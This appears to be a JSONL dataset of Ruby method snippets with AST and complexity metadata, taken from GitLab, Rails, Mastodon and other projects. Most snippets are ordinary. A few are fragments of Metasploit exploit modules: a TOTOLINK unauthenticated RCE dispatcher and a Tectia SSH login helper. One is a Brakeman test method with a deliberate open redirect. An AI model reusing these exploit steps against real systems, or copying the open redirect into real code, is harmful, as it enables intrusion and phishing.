+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/lfs_request.rb","start_line":40,"raw_source":"def lfs_check_access!\n return render_lfs_not_found unless container&.lfs_enabled?\n return if download_request? && lfs_download_access?\n return if upload_request? && lfs_upload_access?\n\n # Only return a 403 response if the user has download access permission,\n # otherwise return a 404 to avoid exposing the existence of the container.\n if lfs_download_access?\n lfs_forbidden!\n else\n render_lfs_not_found\n end\n end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"lfs_check_access!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"lfs_enabled?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_lfs_not_found\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"download_request?\"]},{\"type\":\"send\",\"children\":[null,\"lfs_download_access?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload_request?\"]},{\"type\":\"send\",\"children\":[null,\"lfs_upload_access?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_download_access?\"]},{\"type\":\"send\",\"children\":[null,\"lfs_forbidden!\"]},{\"type\":\"send\",\"children\":[null,\"render_lfs_not_found\"]}]}]}]}","id":"e142298b-e547-4129-a27f-35a171d36bc5"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/github_issue_onebox.rb","start_line":21,"raw_source":"def url\n m = match\n \"https://api.github.com/repos/#{m[\"org\"]}/#{m[\"repo\"]}/issues/#{m[\"item_id\"]}\"\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[null,\"match\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://api.github.com/repos/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"str\",\"children\":[\"org\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"str\",\"children\":[\"repo\"]}]}]},{\"type\":\"str\",\"children\":[\"/issues/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"str\",\"children\":[\"item_id\"]}]}]}]}]}]}","id":"03ca6186-caab-47fd-8915-f6e14172bb70"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/discussion_on_diff.rb","start_line":32,"raw_source":"def file_new_path\n first_note.position.new_path\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"file_new_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_note\"]},\"position\"]},\"new_path\"]}]}","id":"ccb169e0-c4b0-45d5-80af-43c8b4b646a7"}
+{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/phpbb3/support/text_processor.rb","start_line":184,"raw_source":"def add_unreferenced_attachments(text, unreferenced_attachments)\n return text unless unreferenced_attachments\n\n unreferenced_attachments = unreferenced_attachments.compact\n text << \"\\n\" << unreferenced_attachments.join(\"\\n\") unless unreferenced_attachments.empty?\n text\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_unreferenced_attachments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"unreferenced_attachments\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unreferenced_attachments\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"unreferenced_attachments\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unreferenced_attachments\"]},\"compact\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unreferenced_attachments\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unreferenced_attachments\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}","id":"56f54dab-5b01-4685-9d7f-c65f190f3e27"}
+{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/generators/package_command_generator.rb","start_line":32,"raw_source":"def binary_path\n generator.binary_path\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"binary_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\"]},\"binary_path\"]}]}","id":"cecf14fe-d462-46df-b8ef-6ff5af79dff7"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/ranked_trend.rb","start_line":12,"raw_source":"def locales\n distinct.pluck(:language)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"locales\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"distinct\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"language\"]}]}]}","id":"bfc6ddf5-8d9f-4ae6-a7f7-c8f4f93b1c35"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/totolink_unauth_rce_cve_2023_30013.rb","start_line":129,"raw_source":"def exploit\n print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n case target['Type']\n when :unix_cmd\n execute_command(payload.encoded)\n when :linux_dropper\n # Don't check the response here since the server won't respond\n # if the payload is successfully executed.\n execute_cmdstager({ linemax: target.opts['Linemax'] })\n end\n end","complexity_score":21.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PAYLOAD\"]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix_cmd\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux_dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Linemax\"]}]}]}]}]}]},null]}]}]}","id":"facd370e-8179-42e9-a1ff-0c3aa33c03bf"}
+{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/index.rb","start_line":314,"raw_source":"def click_more_menu_item(item)\n wait_for_network_idle\n page.find('[data-test-selector=\"project-more-dropdown-menu\"]').click\n page.find(\".ActionListItem\", text: item, exact_text: true).click\n wait_for_network_idle\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_more_menu_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_for_network_idle\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"project-more-dropdown-menu\\\"]\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".ActionListItem\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"item\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exact_text\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"wait_for_network_idle\"]}]}]}","id":"785815cf-d1c7-4823-a548-d79670f3fc2c"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/migration/update_first_response_time_in_reporting_events_job.rb","start_line":7,"raw_source":"def perform(account)\n get_conversations_with_bot_handoffs(account)\n account.reporting_events.where(name: 'first_response').find_each do |event|\n conversation = event.conversation\n\n # if the conversation has a bot handoff event, we don't need to update the response_time\n next if conversation.nil? || @conversations_with_handoffs.include?(conversation.id)\n\n update_event_data(event, conversation)\n end\n end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_conversations_with_bot_handoffs\",{\"type\":\"lvar\",\"children\":[\"account\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"reporting_events\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"first_response\"]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conversation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"conversation\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversations_with_handoffs\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"id\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"update_event_data\",{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"lvar\",\"children\":[\"conversation\"]}]}]}]}]}]}","id":"01443496-f9e2-4258-ad43-30f3a806f0c8"}
+{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/user_api_key_spec.rb","start_line":5,"raw_source":"def request_env(method, path, **path_parameters)\n ActionDispatch::TestRequest\n .create\n .tap do |request|\n request.request_method = method\n request.path = path\n request.path_parameters = path_parameters\n end\n .env\n end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"request_env\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwrestarg\",\"children\":[\"path_parameters\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"TestRequest\"]},\"create\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"request_method=\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"path=\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"path_parameters=\",{\"type\":\"lvar\",\"children\":[\"path_parameters\"]}]}]}]},\"env\"]}]}","id":"a6c8bf6d-84ce-45f1-a57a-ac87f4a7cc03"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/else_alignment.rb","start_line":57,"raw_source":"def on_case(node)\n return unless node.else?\n\n check_alignment(node.when_branches.last.loc.keyword, node.loc.else)\n end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_case\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"check_alignment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"when_branches\"]},\"last\"]},\"loc\"]},\"keyword\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"else\"]}]}]}]}","id":"1d8577f6-4547-486f-b703-49d6f8b480e2"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/filters_test.rb","start_line":482,"raw_source":"def around(controller)\n yield\n rescue ErrorToRescue => ex\n controller.__send__ :render, plain: \"I rescued this: #{ex.inspect}\"\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"around\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ErrorToRescue\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"__send__\",{\"type\":\"sym\",\"children\":[\"render\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"I rescued this: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"inspect\"]}]}]}]}]}]}]},null]}]}","id":"0cc61318-1eec-4b9a-af4f-9de437085c67"}
+{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails6/app/controllers/users_controller.rb","start_line":87,"raw_source":"def example_redirect_to_request_params\n redirect_to request.params\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"example_redirect_to_request_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"params\"]}]}]}","id":"c7351bfb-b0da-4c8c-be9d-a8d1e93301fa"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/block_serializer.rb","start_line":15,"raw_source":"def actor\n ActivityPub::TagManager.instance.uri_for(object.account)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"actor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"account\"]}]}]}","id":"935dd0ac-2010-4d12-9d00-d344abc39757"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/design_management/move_designs_service.rb","start_line":64,"raw_source":"def current_design\n params[:current_design]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_design\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_design\"]}]}]}","id":"f24f27e3-3287-4368-8e9d-b5725d399607"}
+{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/extension.rb","start_line":61,"raw_source":"def configure(*args, &block)\n record(:configure, *args) { |c| c.instance_exec(c, &block) }\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\",{\"type\":\"sym\",\"children\":[\"configure\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"instance_exec\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"b2525eee-a16f-4a9d-8ab0-b359f977d1ec"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/ssh/tectia_passwd_changereq.rb","start_line":206,"raw_source":"def do_login(user)\n transport, connection = init_ssh(user)\n passwd = is_passwd_method?(user, transport)\n\n if passwd\n conn = userauth_passwd_change(user, transport, connection)\n return conn\n end\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"do_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"transport\"]},{\"type\":\"lvasgn\",\"children\":[\"connection\"]}]},{\"type\":\"send\",\"children\":[null,\"init_ssh\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"passwd\",{\"type\":\"send\",\"children\":[null,\"is_passwd_method?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"transport\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passwd\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conn\",{\"type\":\"send\",\"children\":[null,\"userauth_passwd_change\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"transport\"]},{\"type\":\"lvar\",\"children\":[\"connection\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]}]}]},null]}]}]}","id":"4b81fe34-00a8-4e9b-9c6e-8169c518efc3"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/meeting_agenda_items_controller.rb","start_line":328,"raw_source":"def find_existing_occurrence\n next_occurrence = @series.scheduled_meetings.find_by(start_time: @next_meeting_time)\n return if next_occurrence.nil?\n\n if next_occurrence.cancelled?\n respond_with_flash_error(message: I18n.t(:text_agenda_item_move_next_meeting_cancelled))\n else\n @next_occurrence = next_occurrence.meeting\n end\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_existing_occurrence\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"next_occurrence\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@series\"]},\"scheduled_meetings\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"ivar\",\"children\":[\"@next_meeting_time\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_occurrence\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_occurrence\"]},\"cancelled?\"]},{\"type\":\"send\",\"children\":[null,\"respond_with_flash_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"text_agenda_item_move_next_meeting_cancelled\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@next_occurrence\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_occurrence\"]},\"meeting\"]}]}]}]}]}","id":"4cff728b-a0ab-4bbb-8770-e11279391742"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":1885,"raw_source":"def test_references_doesnt_trigger_eager_loading_if_reference_not_included\n scope = Post.references(:comments)\n assert_not_predicate scope, :eager_loading?\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_references_doesnt_trigger_eager_loading_if_reference_not_included\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"references\",{\"type\":\"sym\",\"children\":[\"comments\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"sym\",\"children\":[\"eager_loading?\"]}]}]}]}","id":"89881baa-dd91-40a2-aa20-dbbfe8f220a3"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/namespaces/package_settings/update_service.rb","start_line":39,"raw_source":"def package_settings\n strong_memoize(:package_settings) do\n @container.package_settings\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"package_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"package_settings\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@container\"]},\"package_settings\"]}]}]}","id":"d33fb017-a56f-4d0b-8e49-2457d1a8b2ca"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/delete_account_service.rb","start_line":170,"raw_source":"def purge_media_attachments!\n @account.media_attachments.find_each do |media_attachment|\n next if keep_account_record? && reported_status_ids.include?(media_attachment.status_id)\n\n media_attachment.destroy\n end\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_media_attachments!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"media_attachments\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"media_attachment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"keep_account_record?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reported_status_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"media_attachment\"]},\"status_id\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"media_attachment\"]},\"destroy\"]}]}]}]}","id":"46c002bf-999b-47da-ae94-f725bfa3f14a"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":843,"raw_source":"def derive_foreign_key(infer_from_inverse_of: true)\n if belongs_to?\n \"#{name}_id\"\n elsif options[:as]\n \"#{options[:as]}_id\"\n elsif options[:inverse_of] && infer_from_inverse_of\n inverse_of.foreign_key(infer_from_inverse_of: false)\n else\n active_record.model_name.to_s.foreign_key\n end\n end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"derive_foreign_key\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"infer_from_inverse_of\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"belongs_to?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"as\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"as\"]}]}]},{\"type\":\"str\",\"children\":[\"_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inverse_of\"]}]},{\"type\":\"lvar\",\"children\":[\"infer_from_inverse_of\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inverse_of\"]},\"foreign_key\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"infer_from_inverse_of\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_record\"]},\"model_name\"]},\"to_s\"]},\"foreign_key\"]}]}]}]}]}","id":"520f979b-837c-4177-9335-e5777cdfa5db"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/import_export_upload.rb","start_line":58,"raw_source":"def carrierwave_export_file\n export_file&.file\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"carrierwave_export_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"export_file\"]},\"file\"]}]}","id":"569de49b-74a5-41c4-9e54-f76eba30ef93"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/convert_to_ticket_service.rb","start_line":63,"raw_source":"def valid_email?\n email.present? && IssueEmailParticipant.new(issue: target, email: email).valid?\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_email?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssueEmailParticipant\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[null,\"email\"]}]}]}]},\"valid?\"]}]}]}","id":"b53593ab-6628-4bbb-a0cc-9356517220e1"}
